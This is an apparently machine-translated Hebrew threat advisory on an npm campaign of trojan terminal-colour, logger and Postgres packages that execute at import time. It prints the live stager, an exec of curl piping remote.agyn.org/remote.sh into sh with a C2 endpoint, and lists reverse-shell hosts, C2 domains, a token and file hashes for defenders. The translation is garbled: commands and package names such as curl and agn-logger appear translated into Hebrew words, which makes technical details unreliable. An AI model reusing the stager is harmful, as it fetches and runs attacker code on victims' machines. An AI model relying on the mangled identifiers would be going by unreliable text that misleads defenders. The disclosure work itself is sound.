TL; DR
אופרטור npm יחיד פורסם חמש חבילות טרויאניות בשני סבבים בשלושה ימים. החבילות מתחזות לתוכנות זעירות לצבעי טרמינל, לוגר ולקוחות Postgres. הקוד הזדוני רץ ברגע ייבוא החבילה — אין סקריפט התקנה לתפוס.
סיבוב ראשון (neon-terminal, neon-postgres, ne-logger) בוטל פורסם ב-2026-07-05 בשעה 14:14 UTC. שבעים וארבע דקות לאחר מכן אותו חשבון פרסם מחדש את אותו טרויאני תחת שמות חדשים (agn-terminal, agn-logger) — וכיוון אותו אל ה אותה נקודת קצה של שליטה ובקרה זה היה בשימוש בעבר: tracker.bvgroup.co.
מארח C2 הוא האינדיקטור היחיד ששורד את שינוי השם, והדבר המהיר ביותר עבור מגן לחפש. חומרה: גָבוֹהַמערכת אקולוגית: Npmחבילות הסיבוב השני עדיין היו זמינות בזמן כתיבת שורות אלה.
ההתקפה: איך זה עובד
החבילות הן פיתיונות פונקציונליים. פתוח מסוף agn ואתם מוצאים עוזר צבע ANSI שלם ועובד - קודים, צבע תומך, לצבוע, לצייר — עם סוגים וקובץ README. קוד השירות עובד. מחובר לראש מודול הכניסה, מעל הקוד השימושי, יושבות כמה שורות שפועלות בעת ייבוא.
// agn-terminal 0.1.0 — src/index.js (top of module)
import { exec } from "node:child_process";
const child = exec(
"curl -fsSL https://remote.agyn.org/remote.sh | " +
"TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",
{}, (error, stdout, stderr) => {},
);
שלושה דברים הופכים את זה ליעיל.
- זה מופעל בזמן ייבוא, לא בזמן התקנה. החבילה מצהירה שלא התקנה מוקדמת or לאחר ההתקנה וו - המקום הרגיל שבו סורקים וסוקרים מחפשים. Exec הקריאה היא קוד ברמת המודול. היא פועלת בפעם הראשונה שמשהו קורה require("agn-terminal") or ייבוא "agn-terminal", במחשב של המפתח או בתוך CI. גם ערך ה-ESM (src / index.js) וערך CommonJS (cjs/src/index.js) נושאים את אותו מטען, כך ששתי מערכות המודולים מכוסות.
- המטען האמיתי חי מחוץ לחבילה. החבילה שולחת רק stager בן שורה אחת: fetch remote.agyn.org/remote.sh` ושלח אותו אל sh`. מה שהאופרטור מציג מכתובת URL זו בזמן הבקשה הוא זה שפועל. נקודת הקצה של C2 מועברת לסקריפט שהורד דרך TRACKER_REMOTE_ENDPOINT משתנה סביבה, כך שסקריפט שלב שתיים מתקשר הביתה אל tracker.bvgroup.co.
- חבילת נשיאה מרחיבה את רדיוס הפיצוץ. לוגר אג"ח הוא פיתיון שני - "לוגר עולמי זעיר". אין לו מטען משלו. מודול הכניסה שלו עושה דבר רלוונטי אחד:
// agn-logger 0.1.0 — cjs/src/index.js
const { colorize, supportsColor } = require('agn-terminal');
זה מצהיר מסוף agn כתלות ומייבאת אותה. התקנה או ייבוא של הלוגר מושכים ומפעילים את חבילת הטרמינל באופן טרנזיטיבי. פרויקט שמעולם לא שם את הטרויאני ישירות עדיין יכול להריץ אותו דרך הלוגר.
מה חדש כאן
הסיבוב הראשון לא השתמש במערכת הפעלה מרחוק. היא שלחה את המטען באופן מקוון והעלתה אותו גרסה אחר גרסה - מעטפת הפוכה של bash במהדורה אחת, net.Socket קליפה הפוכה בבא, א גיט הוספה/commit/לִדחוֹף של ספריית העבודה של הקורבן באחרת, ולבסוף סוכן פקודה ובקרה מלא של HTTP ב ניאון-טרמינל 0.9.0 שרשם את המארח, ערך סקרים למשימות, הפעיל אותן עם exec (), והזרים פלט מקודד base64 בחזרה. הסיבוב השני מצמצם את כל זה לקובץ יחיד תלתל |, העברת שלב שני מהרישום לחלוטין. אותו מפעיל, חבילה שקטה יותר, מטען גמיש יותר - ובעיקר, אותו C2 כמו קודם.
ציר זמן
| תאריך (UTC) | אירוע |
|---|---|
| 2026-07-03 07:03 | פורסם הסיבוב הראשון: neon-terminal (0.1.0 נקי, לאחר מכן 0.2.0–0.9.0 זדוני), neon-postgres 3.5.2, ne-logger 0.7.0 |
| 2026-07-03 07:05 | neon-terminal סומן בסריקה בזמן אמת |
| 2026-07-04 | אושר כי זדוני; קורלציה חושפת את שתי החבילות האחיות; ניסיונות הסרה ראשונים הוגשו |
| 2026-07-05 14:14 | סיבוב ראשון לא פורסם - כל השמונה neon-terminal גרסאות ועוד אחים שהוסרו |
| 2026-07-05 15:28 | agn-terminal 0.1.0 לאור |
| 2026-07-05 15:29 | agn-logger 0.1.0 פורסם - ספק עבור חבילת הטרמינל החדשה |
| 05-07-2026 (מתמשך) | חבילות הסיבוב השני זמינות בזמן כתיבת שורות אלה |
שני הסבבים מתקיימים בהפרש של שלושה ימים, וההפרש בין ההסרה להפעלה מחדש היה 74 דקות. הקמפיין פתוח: ה- agn-* החבילות לא הוסרו בעת כתיבת שורות אלה.
אינדיקטורים של פשרה
חפש קבצי נעילה ועצי תלות אחר שמות החבילות. חפש פרוקסי, DNS ו EDR יומני רישום עבור נקודות הקצה של הרשת. מארח C2 tracker.bvgroup.co משתרע על פני שני הסיבובים והוא המדד היחיד בעל הערך הגבוה ביותר.
מארזים
| חֲבִילָה | גרסאות | תפקיד | מצב |
|---|---|---|---|
neon-terminal | 0.2.0–0.9.0 | טרויאני (מטעני תוכן מוטבעים → HTTP C2) | לא פורסם |
neon-postgres | 3.5.2 | טרויאני (מטען ב src/errors.js) | לא פורסם |
ne-logger | 0.7.0 | ספק (תלוי ב neon-terminal) | לא פורסם |
agn-terminal | 0.1.0 | טרויאני (curl | sh בַּעַל נִסָיוֹן) | לחיות |
agn-logger | 0.1.0 | ספק (תלוי ב agn-terminal) | לחיות |
ניאון-טרמינל גרסה 0.1.0 הייתה גרסה נקייה - ספריית צבעים פעילה ללא מטען - שפורסמה כדי להקים את החבילה לפני שהגרסאות הזדוניות באו בעקבותיהן.
רשת
| אינדיקטור | הקשר |
|---|---|
tracker.bvgroup.co/remote/… | HTTP C2, שני הסיבובים (אסימון סיבוב שני t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J) |
remote.agyn.org/remote.sh | מטעין שלב ראשון-שני |
reverse.bvgroup.co:443 | נקודת קצה הפוכה של סבב ראשון (neon-terminal 0.6.0) |
6.tcp.eu.ngrok.io:28754 | קליפה הפוכה של סיבוב אחד (neon-terminal 0.3.0) |
2.tcp.eu.ngrok.io:25852 | קליפה הפוכה של סיבוב אחד (neon-terminal 0.4.0) |
bvgroup.co, agyn.org, agyn.io | דומיינים הנשלטים על ידי מפעיל |
התנהגות
- ברמת המודול child_process.exec בראש קובץ הכניסה של חבילת שירות, בשניהם src / index.js (ESM) ו cjs/src/index.js (CJS).
- A תלתל -fsSL … | sh שורה אחת עם C2 שעבר דרך TRACKER_REMOTE_ENDPOINT משתנה הסביבה.
- חבילת "תועלת" שנייה שמצהירה על הראשונה כתלות ומייבאת אותה, ללא מטען משלה.
- שארית // מסוף ניאון תגובה בראש ה מסוף agn — תוצר של העתקה-הדבקה המקשר את המיתוג מחדש למקור.
גיבובי קבצים (SHA-256, סבב שני)
- מסוף agn src / index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
- מסוף agn cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
- לוגר אג"ח src / index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19
ייחוס והתנהגות נצפית
כל חבילה עוברת לחשבון npm אחד, ויטאלי-אגין, מפרסם תחת כתובת דוא"ל לא מאומתת vitalii@agyn.ioהמטא-נתונים של הרישום של החשבון עצמו מפרטים את כל שלוש חבילות הסיבוב הראשון כפי שהן מתוחזקות על ידו. התשתית קושרת את הסיבובים יחד: הדומיין agyn.org תואם את זה של המו"ל agyn.io דומיין הדוא"ל, ומארח C2 tracker.bvgroup.co מופיע בשניהם ניאון-טרמינל 0.9.0 ו מסוף agn 0.1.0 - אותו נתיב אספנים, בשימוש חוזר מילה במילה לאחר שינוי השם.
אנו מתארים מה מראים החפצים ועוצרים שם. כתובת הדוא"ל המצוינת של המוציא לאור היא vitalii@agyn.ioלא אימתנו את הבעלות על כתובת זו, ואנחנו לא מייחסים את החשבון לאף אדם או קבוצה. שימוש חוזר בנקודת קצה C2 אחת על פני שתי משפחות חבילות הוא איתות חזק של אותו אופרטור, לא זהות.
חבילות הסיבוב הראשון נשענו על קרבה למותג. ניאון-פוסטגרס היה שיבוט מלא של פורסגר, בשימוש נרחב postgres.js לקוח, הסלוגן וכל זה, עם המטען תחוב בתוכו src/errors.js כך שנתיב ייבוא שגרתי יגיע אליו - וה- נֵאוֹן- הקידומת שואלת את יכולת הזיהוי של Neon, ספקית Postgres ללא שרת. שמות הסיבוב השני ביטלו את החיקוי ועברו לשמות גנריים (מסוף agn, לוגר אג"ח), סוחר במותג משיכה לטובת הפסקה נקייה יותר מהשמות השרופים.
השפעה, מגמות והנחיות למגינים
- מי נחשף. כל מי שמתקין ומייבא אחת מהחבילות הללו, ישירות או דרך הספק, על מחשב מארח דמוי יוניקס. הסטייגר משתמש תלתל ו sh; הקליפות העגולות משתמשות לחבוט ו /dev/tcpמכיוון שהביצוע מתרחש בעת הייבוא, מספיק שרת בנייה שמתקין את התלות ומריץ כל קוד שנוגע בה - אין צורך בשלב לאחר ההתקנה. בתחנת עבודה של מפתח או ב-CI runner, שלב שני שהורד פועל עם הרשאות המשתמש ועם טווח הגעה מלא של הרשת.
- למה ביצוע בזמן ייבוא חשוב. הגנות שרשרת האספקה התמקדו בסקריפטים של התקנה, ובצדק - פוסט-התקנה היא נקודת הבסיס הקלאסית של npm. קמפיין זה עוקף זאת לחלוטין. אין וו התקנה לסמן. קוד זדוני הוא אתחול מודול רגיל, שאינו ניתן להבחנה במבט חטוף מחבילה המחשבת טבלת חיפוש בעת טעינה. כלים שבודקים רק סקריפטים ב-package.json לא רואים כלום.
- טרנד המיתוג מחדש והשימוש החוזר. 74 דקות של התפנית הן הסיפור. תהליך ההסרה הסיר את השמות אך לא את המפעיל, התשתית או הקוד. תוך שעה הקמפיין חזר לפעול תחת שמות חדשים שהצביעו על אותו C2. חסימה מבוססת שם - denylisting neon-terminal - כבר הייתה מיושן. חסימה מבוססת תשתית - denylisting bvgroup.co - הייתה נתפסת בסיבוב השני עם הגעתה. עבור מפעיל פעיל שמפרסם מחדש מהר יותר מהסרת רישומים, האינדיקטור העמיד הוא נקודת הקצה של הרשת, לא שם החבילה.
מה לעשות עכשיו
- קבצי נעילה של Grep ועצים מותקנים עבור כל חמשת שמות החבילות הנ"ל. התייחסו לכל התאמה כמארח פרוץ וסובבו את פרטי הגישה הנגישים ממנו.
- חסימה והתראה על הדומיינים bvgroup.co, agyn.org, ונקודות הקצה של ngrok ב-DNS ובסינון יציאה. tracker.bvgroup.co הוא העדיפות.
- אל תסתמך על סריקת install-hook בלבד. הוסף זיהוי ברמת המודול תהליך_ילד וקריאות רשת בתלות, ועבור תלתל … | sh תבניות במקור החבילה.
- התייחסו לחבילת שירות שמצהירה על שירות לא ידוע אחר כתלות היחידה שלה, ומייבאת אותו בעת הטעינה, כאל חבילה ששווה מבט שני.
- ב-CI, עדיף –להתעלם מתסריטים היכן שמעשי, אבל להבין שזה לא עוזר כאן - המטען פועל בעת הייבוא, כך שבקרות יציאה בזמן ריצה וביקורת תלויות חשובות יותר.
הפניות
- Postgres ללא שרתים של Neon — המותג ה נֵאוֹן-* שמות שואלים את יכולת ההכרה מ.
- פורסגר postgres.js — הלקוח ניאון-פוסטגרס משובט.






